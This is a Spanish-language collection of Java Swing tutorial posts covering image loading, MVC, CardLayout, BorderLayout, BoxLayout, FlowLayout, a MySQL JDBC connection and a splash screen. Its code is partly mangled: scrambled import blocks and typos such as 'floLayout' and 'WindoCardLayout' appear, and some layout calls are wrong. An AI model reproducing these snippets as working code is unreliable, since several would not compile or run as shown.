import java.awt.event.*; import java.io.File; import java.awt.image.BufferedImage; import javax.imageio.ImageIO; public class ControlaEventos implements ActionListener{/*clase escuchadora de nuestra vista*/ WindowImagenes ventana;/*declaramos un objeto de la clase WindowImagenes*/ public ControlaEventos(WindowImagenes objeto){ ventana = objeto; } public void actionPerformed(ActionEvent evento) { if (evento.getSource()== ventana.jRadioButton1) cargarImagen(ventana.jDesktopPane1,ventana.imagen1); else { if (evento.getSource()== ventana.jRadioButton2) cargarImagen(ventana.jDesktopPane1,ventana.imagen2); else { if (evento.getSource()== ventana.jRadioButton3) cargarImagen(ventana.jDesktopPane1,ventana.imagen3); } } } /*este metodo recibe el jdeskopPane y el archivo imagen*/ public void cargarImagen(javax.swing.JDesktopPane jDeskp,File fileImagen) { try{ BufferedImage image = ImageIO.read(fileImagen); jDeskp.setBorder(new PintaImagen(image)); } catch (Exception e){ System.out.println("No cargo imagen, sorry"); } } }

La ultima clase(PintaImagen.java), es la permite preparar la imagen para ser agregados a un componente en este caso del tipo JDesktopPane, esta debera implementar de la Clase Border, obligandonos a llamar a 3 metodos paintBorder(), getBorderInsets() y isBorderOpaque(). Aqui el fuente:
import import import import import java.awt.Component; java.awt.Graphics; java.awt.Insets; java.awt.image.BufferedImage; javax.swing.border.Border;

public class PintaImagen implements Border{ private BufferedImage image ;

public PintaImagen(BufferedImage image ) { this.image=image;}

public void paintBorder(Component c, Graphics g, int x, int y, int width, int height) { int x0 = x+ (width-image.getWidth())/2; int y0 = y+ (height-image.getHeight())/2; g.drawImage(image,x0,y0,null); } public Insets getBorderInsets(Component c) { return new Insets(0,0,0,0);} public boolean isBorderOpaque() { return true; } }

Luego, compilamos, sin antes asegurarnos de haber dado la ruta correcta del directotio de carptas para los obejros File en la clase WindowImagenes
$jjavac WindowImagenes.java

Listo, aqui los pantallazos:

Espero les sirva a mas de uno. Saludos

Modelo Vista Controlador (MVC) para tus Aplicaciones JAVA


Desde hace mucho tiempo, es que utilizo MVC para mis aplicaciones JAVA. y en esta ocacion tratare de mostrarle con plabras sencillas, La idea general del MVC.

MVC (Modelo-Vista-Controlador), en palabras simples, es la forma(Patron de Disenio) que utilizamos los programadores para implementar nuestras aplicaciones, ademas permite separar nuestra aplicacion en un modelo, una vista y con controlador. este patron fue introducido por primera vez en el lenguaje Smalltalk. 3 tipos de entidades, cada una especialida en su tarea. Modelo: Es el encargo de administrar la logica de tu aplicacion. tiene como finalidad servir de abstracccion de algun proceso en el mundo real, ademas tiene acceso a nuestra Base de Datos, agregando q tiene las funciones que controlan la integridad del sistema. Vista Sencillamente es la representacion visual del modelo. Es la encargada de representar los componentes visuales en la pantalla, Esta asociada a un Modelo, esto le permite que al momento de cambiar el Modelo, la vista redibujara la parte efectada para reflejar los cambios. Controlador Es el escuchador a los eventos que genere el usuario, es decir es el que permite que interactuen el usuario con el sistema. Interpreta los eventos (la entradas) atravez del teclado y/o raton. Por que usar MVC? Porque fue diseada para reducir el esfuerzo al momento de programar. Ademas porque permite una clara separacin entre los componentes de un programa; lo cual nos permite implementarlos por separado. Permite el trabajo en equipo. Java implementa MVC?

Con decir, que la mayoria de los componentes SWING, han tomado como patron de Disenio a MVC , esto es una gran ventaja para los programadores, porque nos permite implementar nuestro PROPIO modelo de datos para cada componente swing. Sin embargo es bueno recordar que El modelo original MVC prescriba un alto acoplamiento entre controladores y vistas. Por que es recomendable tener nuestro Propio Modelo de Datos para nuestros Compoonentes Swing? Swing se basa en un modelo MVC, donde la mayor parte de componentes de interfaz (JTable, JList, JComboBox, etc.) tienen un modelo de datos por defecto. Si nos limitamos a usar el modelo propio estaremos utilizando los modelos por defecto de Swing. y obviamente estos modelos utilizan la clase java.util.Vector para el almacenamiento de los datos lo que provocar que nuestros interfaces pierdan ahorro de recursos. Por otro lado, mvc nos permite utilzar de la forma que queramos a cualquier componente swing con tan solo implementar nuestro propio modelo. es decir nos ofrece la posibilidad de trabajar con componentes ms eficientes . Espero haya quedado la idea general, de implementar nuestras aplicaciones tomando como patron de disenio a MVC.

JAVA: Practicando con CardLayout


CardLayout, es un manejador de disenio que nos permite, ubicar componentes swing dentro de un mismo contenedor, y poder visualizarlos solamente uno a la vez. Este layout es usado por los JTabbedPane, con la diferencia de la separacion de los bordes de cada panel. Es decir, podemos tener un contenedor pricipal, y dentro de el, varios paneles, y atravez de una seleccion, elegir cual de estos paneles queremos q se visualize. Primero tenemos que crear el contenedor(JFrame, JPanel, etc), y luego atravez del metodo setLayout() asignarle el layout correspondiente.
JFrame frame = new JFrame(); frame.setLayout(new CardLayout());

Una vez, asiganado el layout al contenedor, tendremos q agregar los componentes, plenamente ya declarados y creados. Para agregar necesitamos 2 argumentos, el objeto a agregar, y un nombre referencial al elemento agregado

JPanel panel = new JPanel(); JPanel pane2 = new JPanel(); frame.add(panel, referenciaPanel1); frame.add(pane2, referenciaPanel2);

Sencilo no?, espera, hay unos metodos basicos e importantes, al momento de manejar los eventos, como son. first (nombreContenedor) -> metodo q permite visualizar el primer objeto agregado next (nombreContenedor) -> metodo q permite visuliza el objeto siguiente. previous (nombreContenedor) -> permite visualizar el objeto anterior show (nombreContenedor, referenciaPanel) -> permite visualizar un obejto especificado, aqui necesitamos el nombre del contenedor y el nombre referencial asignado al momento de agregarlo. Para esta entrada he preparado un ejemplo clasico, para situaciones clasicasjejee La aplicacio, contiene, 1 JFrame principal, 1 PanelSuperior incluido en el JFrame,1 JComboBox incluido en el PanelSuperior, 1 PanelInferior incluido en el JFrame, y 3 paneles incluidos en el PanelInferior. El ejemplo consciste en que atravez de un JComboBox, seleccionaremos un elemento de la lista, y segun el elemento seleccionado, cambiara el panel inferior mostrando uno de los paneles incluidos en el., es decir, el panel ira cambiando segun la seleecion del elemento de la lista del JComboBox. YA q en este ejericcio he utilizado manejo de eventos, he trabajado con 2 clases, la primera (WindowCardLayout) es la interfaz de usuario y la segunda (ControlCardLayout) la q maneja los eventos de la primera. Aqui el fuente.WindowCardLayout
import import import import import import import import import import import import javax.swing.JButton; javax.swing.JLabel; javax.swing.JTextField; javax.swing.JPanel; javax.swing.BoxLayout; javax.swing.JFrame; javax.swing.JComboBox; javax.swing.WindowConstants; javax.swing.BorderFactory; java.awt.FlowLayout; java.awt.CardLayout; java.awt.Color;

public class WindowCardLayout{

JFrame frame; CardLayout cardLayout; JPanel panelSuperior, panelInferior,panelInf1, panelInf2, panelInf3; JLabel etiqueta, etiqueta1, etiqueta2,etiqueta3; JComboBox combo; String [] vectorCadena = {"panel1","panel2","panel3"}; public WindowCardLayout(){/*Constructor*/ construyePanelSuperior(); construyePanelInf1(); construyePanelInf2(); construyePanelInf3(); construyePanelInferior(); construyeVentana();} public void construyePanelSuperior(){ etiqueta = new JLabel("Elegir Opcion"); panelSuperior=new JPanel(); panelSuperior.setBorder(BorderFactory.createTitledBorder("Demo por INFORUX")); combo = new JComboBox(vectorCadena); panelSuperior.setLayout(new FlowLayout()); panelSuperior.add(etiqueta); panelSuperior.add(combo); panelSuperior.getPreferredSize();} public void construyePanelInferior(){ panelInferior= new JPanel(); panelInferior.setBorder(BorderFactory.createTitledBorder("Panel Inferior")); cardLayout=new CardLayout(); panelInferior.setLayout(cardLayout); /*Al agregar necesitamos 2 argumentos, el objeto a agregar y un nombre referencial */ panelInferior.add(panelInf1, "panel1"); panelInferior.add(panelInf2, "panel2"); panelInferior.add(panelInf3, "panel3");} public void construyePanelInf1(){ etiqueta1 = new JLabel("Has Seleccionado el Panel 1"); panelInf1 = new JPanel(new FlowLayout()); panelInf1.setBackground(Color.white); panelInf1.add(etiqueta1);} public void construyePanelInf2(){ etiqueta2 = new JLabel("increiblemente estas viendo el panel2"); panelInf2 = new JPanel(new FlowLayout()); panelInf2.setBackground(Color.orange); panelInf2.add(etiqueta2);} public void construyePanelInf3(){ etiqueta3 = new JLabel("CardLayout permite solo uno a la vez, esta vez el panel 3"); panelInf3 = new JPanel(new FlowLayout()); panelInf3.setBackground(Color.green); panelInf3.add(etiqueta3);}

public void construyeVentana(){ frame= new JFrame(); frame.setLayout(new BoxLayout(frame.getContentPane(),BoxLayout.Y_AXIS)); frame.add(panelSuperior); frame.add(panelInferior); frame.getPreferredSize(); frame.pack(); frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE); frame.setVisible(true); //creamos el objeto controlador de eventos ControlCardLayout control= new ControlCardLayout(this); combo.addActionListener(control);} public static void main (String [] inforux){ new WindowCardLayout(); } }

Aqui el fuente ControlCardLAyout


import java.awt.event.ActionEvent; import java.awt.event.ActionListener; public class ControlCardLayout implements ActionListener{ WindowCardLayout ventana; public ControlCardLayout( WindowCardLayout frame){ ventana = frame ;} public void actionPerformed (ActionEvent evento){ if (evento.getSource()==ventana.combo){ if (ventana.combo.getSelectedIndex()==0){ ventana.cardLayout.show(ventana.panelInferior, "panel1");} if (ventana.combo.getSelectedIndex()==1){ ventana.cardLayout.show(ventana.panelInferior, "panel2");} if (ventana.combo.getSelectedIndex()==2){ ventana.cardLayout.show(ventana.panelInferior, "panel3");}} } }

Listo una compilada y ejecutamos


$ javac WindowCardLayout.java $ java WindoCardLayout

El resultado sera asi:

JAVA: Practicando con BorderLayout


Seguimos con los layouts. Recordar que para entender este ejemplo es necesario chekear las anteriores explicaciones sobre FlowLayout y BoxLayoutLayout BorderLayout, es un layout que ubica los componentes en cualquiera de sus 5 regiones que tiene.. Un componente podemos ubicarlo arriba, abajo, izquierda o a la derecha.

Para establecer a BorderLayout como manegador de Disenio,


JFrame frame = new JFrame(); frame.setLayout(new BorderLayout());

Luego para agregar los componentes


frame.add(etiqeuta, BorderLayout.CENTER); frame.add(botonIzquierdo,BorderLayout.WEST); frame.add(botonDerecho,BorderLayout.EAST); frame.add(cajaTexto,BorderLayout.NORTH); frame.add(panelInferior,BorderLayout.SOUTH);

No es obligatorio, llenar todas las regiones, en el caso de existir alguna region sin componente, esta region visiblemente se anulara, es importante esto, ya que si enviamos un componente al centro, y no enviamos nada en la parte izquierda(WESTH), entonces, el componente enviado al centro se visaluizara en la parte WESTH. En el ejemplo siguiente se tiene, un JFrame, este mismo los ordenara atravez de un BorLayout, En el norte, ira una JLabel, en el centro un JTextAre, y en el sur, este y el oeste un panel para cada region. Cada panel, ubicara sus componentes de la forma que noosotros queramos, en este caso el del sur, atravez de un flowLayout, y el de este y oeste con un BoxLayout. Aqui el demo
import import import import import import import import java.awt.BorderLayout; java.awt.Color; java.awt.Container; java.awt.FlowLayout; java.awt.Font; javax.swing.BoxLayout; javax.swing.JButton; javax.swing.JFrame;

import import import import import import

javax.swing.JLabel; javax.swing.JPanel; javax.swing.JScrollPane; javax.swing.JTextArea; javax.swing.JTextField; javax.swing.WindowConstants;

public class DemoBorderLayout { //variables y comtenedores private JLabel etiquetaSu; private JPanel panelIzquierdo, panelDerecho, panelInferior; private JButton botonIz1, botonIz2, botonIz3; private JButton botonDe1, botonDe2, botonDe3; private JButton botonIn1, botonIn2; private JScrollPane scroll; public void contruyePanelIzquierdo(){ panelIzquierdo = new JPanel(); botonIz1=new JButton("Izq1"); botonIz2=new JButton("Izq2"); botonIz3=new JButton("Izq3"); panelIzquierdo.setLayout(new BoxLayout(panelIzquierdo,BoxLayout.Y_AXIS)); panelIzquierdo.setBackground(Color.red); panelIzquierdo.add(botonIz1); panelIzquierdo.add(botonIz2); panelIzquierdo.add(botonIz3); } public void contruyePanelDerecho(){ panelDerecho = new JPanel(); botonDe1=new JButton("Der1"); botonDe2=new JButton("Der2"); botonDe3=new JButton("Der3"); panelDerecho.setLayout(new BoxLayout(panelDerecho,BoxLayout.Y_AXIS)); panelDerecho.setBackground(Color.blue); panelDerecho.add(botonDe1); panelDerecho.add(botonDe2); panelDerecho.add(botonDe3); } public void contruyePanelInferior(){ panelInferior = new JPanel(); botonIn1=new JButton("Aceptar"); botonIn2=new JButton("Cancelar"); panelInferior.setLayout(new FlowLayout()); panelInferior.setBackground(Color.green); panelInferior.add(botonIn1); panelInferior.add(botonIn2); } public void contruyeVentana(){ JFrame frame = new JFrame(); scroll = new JScrollPane(new JTextArea("JTextArea",10,15)); etiquetaSu = new JLabel("Demostracion por INFORUX "); Font aux=etiquetaSu.getFont();

etiquetaSu.setFont(new Font(aux.getFontName(), aux.getStyle(), 20)); frame.setLayout(new BorderLayout()); //agregamos los paneles al frame principal frame.add(etiquetaSu,BorderLayout.NORTH); frame.add(scroll, BorderLayout.CENTER); frame.add(panelIzquierdo,BorderLayout.WEST); frame.add(panelDerecho,BorderLayout.EAST); frame.add(panelInferior,BorderLayout.SOUTH); //Configuramos el frame frame.pack(); frame.setVisible(true); frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE); } public DemoBorderLayout(){ contruyePanelInferior(); contruyePanelIzquierdo(); contruyePanelDerecho(); contruyeVentana(); } public static void main (String [] inforux){ new DemoBorderLayout(); } }

Compilamos y ejecutamos.
$javac DemoBorderLayout.java $java DemoBorderLayout

El resultador ser asi

En esta interfaz de usuario, solo se empleo los layouts, explicados FlowLayout, BoxLayout y BorderLayout. Sencillo. PD: La API completa de BorderLayout

JAVA: Practicando con BoxLayout


BoxLayout, es un Layout recontra parecido al FlowLayout, cual es la diferencia? es simple, FlowLayout ubica todos los componentes solo de forma horizontal, mientras que BoxLayout los ubica, tanto horizontal como vertical. Para crear una clase BoxLayout, necesitamos 2 argumentos: el objeto contenedor, y la clase que indica la forma de como ordenara los componetes,. BoxLayout.X_AXIS Forma Horizontal BoxLayout.Y_AXIS Forma Vertical
JFrame frame = new JFrame(); frame.setLayout(new BoxLayout(frame,BoxLayout.X_AXIS));

Luego para agregar los componentes es simple, lo mismo como hicimos con FlowLayout.
JButton boton = new JButton("Aceptar"); frame.add(boton);

Aqui tengo un ejemplo, sobre una clasica ventana de logueo, cabe destacar q para este ejemplo demostrativo, solo me limite a usar BoxLayout. La idea general, es crear un JFrame geeneral, el cual tendra 3 paneles y una etiqueta, Estos estaran ordenados con BoxLayout en forma vertical. Cada panel tendran cajas de textos y etiquetas. Estos estaran ordenados con BoxLayout en forma horizontal.
import import import import import import import import javax.swing.BoxLayout; javax.swing.JTextField; javax.swing.JPanel; javax.swing.JLabel; javax.swing.JFrame; javax.swing.JButton; javax.swing.JPasswordField; javax.swing.WindowConstants;

public class DemoBoxLayout{ private JPanel panelSuperior, panelMedio, panelInferior; private JLabel etiqueta1, etiqueta2, etiqueta3; private JTextField cajaTexto; private JPasswordField cajaPass; private JButton botonAceptar, botonCancelar; private JFrame frame; public void construyePanelSuperior(){ panelSuperior =new JPanel(); etiqueta2= new JLabel("Usuario"); cajaTexto = new JTextField(10); panelSuperior.setLayout(new BoxLayout(panelSuperior, BoxLayout.X_AXIS)); panelSuperior.add(etiqueta2); panelSuperior.add(cajaTexto); } public void construyePanelMedio(){ panelMedio=new JPanel(); etiqueta3= new JLabel("Password"); cajaPass = new JPasswordField(10); panelMedio.setLayout(new BoxLayout(panelMedio, BoxLayout.X_AXIS)); panelMedio.add(etiqueta3); panelMedio.add(cajaPass); } public void construyePanelInferior(){ panelInferior=new JPanel(); botonAceptar=new JButton("Aceptar"); botonCancelar=new JButton("Cancelar"); panelInferior.setLayout(new BoxLayout(panelInferior, BoxLayout.X_AXIS)); panelInferior.add(botonAceptar); panelInferior.add(botonCancelar); }

public void construyeVentana(){ frame = new JFrame(); etiqueta1 = new JLabel("Demo por inforux"); frame.setLayout(new BoxLayout(frame.getContentPane(), BoxLayout.Y_AXIS) ); frame.add(etiqueta1); frame.add(panelSuperior); frame.add(panelMedio); frame.add(panelInferior); frame.pack(); frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE); frame.setVisible(true); } public DemoBoxLayout(){ construyePanelSuperior(); construyePanelMedio(); construyePanelInferior(); construyeVentana(); } public static void main (String [] inforux){ new DemoBoxLayout(); } }

Compilamos y ejecutamos
$javac DemoBoxLayout.java $java DemoBoxLayout

El resultado final sera:

Para esta interface de usuario, solo se limito a usar BoxLayout, ya q es un ejemplo demostrativo. PD: La API completa de BoxLayout

JAVA: Practicando con FlowLayout


Continuando con los layouts, es que en esta oportunidad, tocaremos al mas facil de usar, El FlowLayout, es aquel layout q ubica a todos los componentes en forma horizontal, en el orden q le digamos. Primero tenemos que crear el contenedor(JFrame, JPanel, etc), y luego atravez del metodo setLayout() asignarle el layout correspondiente.
JFrame frame = new JFrame(); frame.setLayout(new FlowLayout());

Una vez, asiganado el layout al contenedor, tendremos q agregar los componentes, plenamente ya declarados y creados.
JButton boton = new JButton("Aceptar"); frame.add(boton);

Hecho esto, el contenedor mismo, los ubicara en el centro(por defecto). Si queremos que empieze de derecha a izquierda o izquierda a derecha o en el centro, se lo decimos.
frame.setLayout(new floLayout(FlowLayout.CENTER)); frame.setLayout(new floLayout(FlowLayout.RIGHT)); frame.setLayout(new floLayout(FlowLayout.LEFT));

Aqui un jemplo:
import import import import import import java.awt.FlowLayout; javax.swing.JButton; javax.swing.JLabel; javax.swing.JTextField; javax.swing.WindowConstants; javax.swing.JFrame;

/*demostracion por inforux*/ public class DemoFlowLayout { private JButton botonEnviar; private JTextField cajaTexto; private JLabel etiqueta; public void construyeVentana(){ //creamos la ventana y asignamos el layout JFrame frame = new JFrame(); frame.setLayout(new FlowLayout()); //Creamos los componentes a utilizar botonEnviar = new JButton("Enviar"); cajaTexto = new JTextField(12); etiqueta= new JLabel("Escribe tu nombre"); //Aniadimos los componentes a la ventana

frame.add(etiqueta); frame.add(cajaTexto); frame.add(botonEnviar); //algunas configuraciones de la ventana frame.pack(); frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE); frame.setVisible(true); } public DemoFlowLayout(){//constructor de la clase construyeVentana(); } public static void main ( String [] Inforux){ new DemoFlowLayout(); } }

Luego compilamos y ejecutamos


$javac DemoFlowLayout.java $java DemoFlowLayout

El resultado sera asi:

Como ven, la misma ventana siempre ubicara a los componentes de la mejor manera.. PD: La API completa de FlowLayout Luego seguimos con el resto de layouts.

JAVA: Empezando con Layouts


Tiempo atraz acostumbraba a implementar mis GUIs de JAVA atravez de setBouns(), es muy facil hacerlo, pueden verlo ustedes en los antiguos tutoriales q ofreci. Sim embargo, tenia un serio problema, y es que al ser implementado en mi portatil, cuando lo terminaba y lo ejecutaba en una computadora de escritorio con linux, o windows, toda la

interfas de usuario q tan bonita habia quedado en mi portatil, ahora estaba totalmente desproporcinada y fea. Porque ocurrio esto? la respuesta es sencilla, el metodo setBouns() fija el componente swing en una coordenada XY especifica de la ventana y esta asu vez a la pantalla del monitor donde esta implementandose. setBouns(), es facil de usar, pero tiene desventajas, cuando intentamos ejecutarlo en diferentes computadoras donde el tamanio de la ventana es diferente, y el SO tambien. Entonces por eso es necesario (yo diria OBLIGATORIO) el aprendizaje de los layouts, ya que estos ajustan los componente swing (JButton, JTextField, etc) con relacion a la Ventana mas no al tamanio de la pantalla, esto es fundamental ya que permite la ejecucion de la aplicacion en cualquier computadora y SO, sin que la interfaz de usuario se vea afectada, mucho menos tener botones cortados, o letras q no caben.
ventana.setLayout(new LayoutRequerido());

Con un layout adecuado, y ademas agregando el mtodo pack() a la ventana, permitira que obtenga el tamao justo,para visualizar todos los componentes.
ventana.pack();

Los layouts mas conocidos, necesarios y los cual explicare mas adelante son: FlowLayout, BoxLayout, BorderLayout, GridLayout, GridBagLayout En el caso de no queder usar Layouts, se especifica con
ventana.setLayout(null);

Luego Seguimos. Saludos

Conectar MySQL desde JAVA


Bueno aprovechando lo aprendido en mis aplicaciones de escritorio, en esta oportunidad mostrare, una forma simple y segura de conectar una Base de Datos MySQL atravez de aplicaciones JAVA Para empesar tenemos q tener creada o crear nuestra DB. Aqui es script
CREATE DATABASE IF NOT EXISTS DemoConexion; USE DemoConexion; DROP TABLE IF EXISTS `DemoConexion`.`MiTabla`; CREATE TABLE `DemoConexion`.`MiTabla` ( `campo1` varchar(40) NOT NULL) ENGINE=InnoDB DEFAULT CHARSET=latin1;

La idea es tener una clase solamente para nuestra Conexion(Conexion), y otra clase(WindowConexion) q sirva para ingresar los datos, asi la clase Conexion podremos utilizarla por el resto de la aplicacion, con una simple llamado. 1.- Implementamos la clase donde podremos ingresar el usuario y contrase;a, es decir la ventanajje esta ventana tendra 2 jTextFile, y un boton aceptar, este mismo se le agrega un objeto de la clase ActionListener, para q siempre este escuchando, la interaccion con el usuario. aqui el fuente:
import java.awt.event.*; import javax.swing.*; class WindowConexion extends javax.swing.JFrame implements ActionListener { java.awt.Dimension screenSize = java.awt.Toolkit.getDefaultToolkit().getScreenSize(); public WindowConexion()/*metodo constructor*/ { initComponents(); centrar(); } public void centrar(){/*metodo para centrar la ventana*/ this.setBounds((screenSize.width/2)-(this.getWidth()/2), (screenSize.height/2)-(this.getHeight()/2), this.getWidth(), this.getHeight()); } private void initComponents() { setTitle("Demostracion MySQL - JAVA"); jLabel1 = new JLabel(); jLabel2 = new JLabel(); jTFUsuario = new JTextField(); jLabel4 = new JLabel(); jButton1 = new JButton(); jPFContrasea = new JPasswordField(); jLError = new JLabel(); jlSalida=new JLabel(); setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE); setResizable(false); getContentPane().setLayout(null); jLabel1.setForeground(new java.awt.Color(102, 102, 102)); jLabel1.setText("Demo por Inforux"); jLabel1.setToolTipText("Demo Conexion MySQL by inforux"); getContentPane().add(jLabel1); jLabel1.setBounds(30, 40, 150, 20); jLabel2.setText("User"); getContentPane().add(jLabel2); jLabel2.setBounds(40, 100, 38, 14); getContentPane().add(jTFUsuario); jTFUsuario.setBounds(110, 100, 100, 18);

jLabel4.setText("Password"); getContentPane().add(jLabel4); jLabel4.setBounds(40, 120, 100, 14); jlSalida.setText(""); getContentPane().add(jlSalida); jlSalida.setBounds(40, 140, 150, 14); jButton1.setText("Aceptar"); getContentPane().add(jButton1); jButton1.setBounds(80, 180, 100, 24); getContentPane().add(jPFContrasea); jPFContrasea.setBounds(110, 120, 80, 18); jLError.setForeground(java.awt.Color.gray); getContentPane().add(jLError); jLError.setBounds(50, 150, 130, 0); java.awt.Dimension screenSize = java.awt.Toolkit.getDefaultToolkit().getScreenSize(); setBounds((screenSize.width-255)/2, (screenSize.height-255)/2, 290, 255); jButton1.addActionListener(this);//agrego mi objeto escucha } public void actionPerformed(ActionEvent evento) //programos los eventos { if (evento.getSource()== jButton1){//pregunto si la accion viene del boton aceptar try { if (Conexion.conectar()) jlSalida.setText("Conexion Exitosa");} catch (Exception ex){System.out.println(ex);} } } public static void main(String args[]) { new WindowConexion().setVisible(true); } public static javax.swing.JButton jButton1; public static javax.swing.JLabel jLError; private javax.swing.JLabel jLabel1; private javax.swing.JLabel jLabel2; private javax.swing.JLabel jLabel4; public static javax.swing.JPasswordField jPFContrasea; public static javax.swing.JTextField jTFUsuario; public static javax.swing.JLabel jlSalida; }

2.- si compilamos en este momento nos dira error, porq no existe la conexion, trankilosjeje ahora iplementemos lo q nos interesa la clase Conexion.java,

Esta clase, declara variables para obtener el nombre del driver, el nombre de la base de datos, login(para capturar lo q escribas en la caja de texto), password(igual, captura la contrase;a ingresada),y sobre todo el importantisimo, el objeto conn de la clase Connection(este se podra llamar desde cualquier clase, ya sea para hacer consultas), aqui les va el fuente.
import java.sql.*; public class Conexion{ public final static String bd = "DemoConexion"; public final static String url="jdbc:mysql://localhost/"+bd; public final static String driver="com.mysql.jdbc.Driver"; public static Connection conn = null; public static String login=WindowConexion.jTFUsuario.getText(); public static String password =WindowConexion.jPFContrasea.getText(); //metodo para conectar con la BD public static boolean conectar() throws Exception{ login=WindowConexion.jTFUsuario.getText(); password =WindowConexion.jPFContrasea.getText(); try { Class.forName(driver).newInstance(); conn = DriverManager.getConnection(url,login,password); if (conn != null) System.out.println("Conexin a DB..."+url+"...Ok"+"...Usuario:..."+login); return true; } catch(SQLException ex) { System.out.println("Error al conectar con la DB..."+url+"...Usuario:..." +login ); return false; } }//fin del metodo conectar }//fin de la clase

3.- Compilar( $ javac .*java) aparecera esta ventana:

Como ve, no es nada del otro mundo, el asunto es crear una clase independiente delresto, la cual nos conectara, y a su vez nos dara la conecion(el objeto conn) en el momento oportuno, ya sea para realizar consultas. Espero le sirva a mas de uno, ya que personalmente, en un principio me hizo sufrir muchoo. Saludos.

Una Pantalla Cargando con Imagen para mi Aplicacion JAVA


Casi siempre , cuando ejecutamos alguna aplicacion(open office, gimp, amarok, froswire, etc), nos muestra una ventana indicando q la aplicacion esta cargando. entonces, hay casos cuando desarrollamos alguna aplicacion independiente del lenguaje, y deseamos q al iniciar nuestro programita, tambien muestre una pantalla de carga, eso en JAVA tambien es posible. Solo necesitamimos implementar un par de clases, y un archivo Imagen, la primera clase es la que dibujara la ventana y configurar la velocidad de carga, el dibujo en mi caso est, arriba la imagen, y debajo un scroll, pero es configurable( al gusto del usuario jejee mejor dicho del desarrolador), esta misma primera clase(PantallaCargando) hereda de JWindow, pero tambien puede heredar de JFrame, la diferencia creo q al momento de cargar, jWindow, te permite ocultar a pantalla cargando, con solo un click, un mismo amarok jFrame no. La velocidad de carga es confugurable, solo tienes q modificar el metodo velocidadDeCarga, bueno, el resto del codigo creoq es muy facil interpretarlo, aqui el fuente;
import javax.swing.*; import java.awt.*;

/*DEMO POR INFORUX*/ public class PantallaCargando extends JWindow { BorderLayout borderLayout1 = new BorderLayout(); JLabel imageLabel = new JLabel(); JPanel southPanel = new JPanel(); FlowLayout southPanelFlowLayout = new FlowLayout(); JProgressBar progressBar = new JProgressBar(); ImageIcon imageIcon; public PantallaCargando(ImageIcon imageIcon) { this.imageIcon = imageIcon; dibujaVentana(); } public void dibujaVentana() { imageLabel.setIcon(imageIcon); this.getContentPane().setLayout(borderLayout1); southPanel.setLayout(southPanelFlowLayout); southPanel.setBackground(Color.BLACK); this.getContentPane().add(imageLabel, BorderLayout.CENTER); this.getContentPane().add(southPanel, BorderLayout.SOUTH); southPanel.add(progressBar, null); this.pack(); } public void setProgresoMax(int maxProgress) { progressBar.setMaximum(maxProgress);} public void setProgreso(int progress) { final int progreso = progress; progressBar.setValue(progreso);} public void setProgreso(String message, int progress) { final int progreso = progress; final String theMessage = message; setProgreso(progress); progressBar.setValue(progreso); setMessage(theMessage); } private void setMessage(String message) { if (message==null){ message = ""; progressBar.setStringPainted(false);} else{ progressBar.setStringPainted(true);} progressBar.setString(message); } public void velocidadDeCarga(){ for (int i = 0; i <= 100; i++) { for (long j=0; j<100000; ++j)//modifica el numero segun la velidad q desees

{ String poop = " " + (j + i); } setProgreso("" + i, i); // si quieres q muestre los numeros y un mensaje //setProgreso(i); //si no quieres q muestre nada, solo la barra } dispose();} }

La segunda clase(PantallaCargandoMain), en otras palabras no es mas q la clase q llama al primero creando un objeto de la primera(PantallaCargando), y aplicandoles los metodos, OJO q en el metodo inicioPantalla. hay q darle la ruta de la imagen q deseamos. en mi caso hay una carpeta con el nombre imagen, y dentro de ella esta la imagen fisica.
import javax.swing.UIManager; import javax.swing.ImageIcon; public class PantallaCargandoMain { PantallaCargando screen; public PantallaCargandoMain() { inicioPantalla(); screen.velocidadDeCarga(); } private void inicioPantalla() { ImageIcon myImage = new ImageIcon("imagen/java.gif"); screen = new PantallaCargando(myImage); screen.setLocationRelativeTo(null); screen.setProgresoMax(100); screen.setVisible(true); } public static void main(String[] args) { new PantallaCargandoMain(); } }

Ahora, puedes compilar (javac PantallaCargandoMain.java) y debe funcionar, o agregar estas 2 clases en la carpeta de tu aplicacion, y en la clase q inicias tu aplicacion, en el metodo main de tu proyecto, incluye solo una linea;
new PantallaCargandoMain();

Y listo. Aqui un pantallazo

PD: la imagen puedes descargar Aqui

Das könnte Ihnen auch gefallen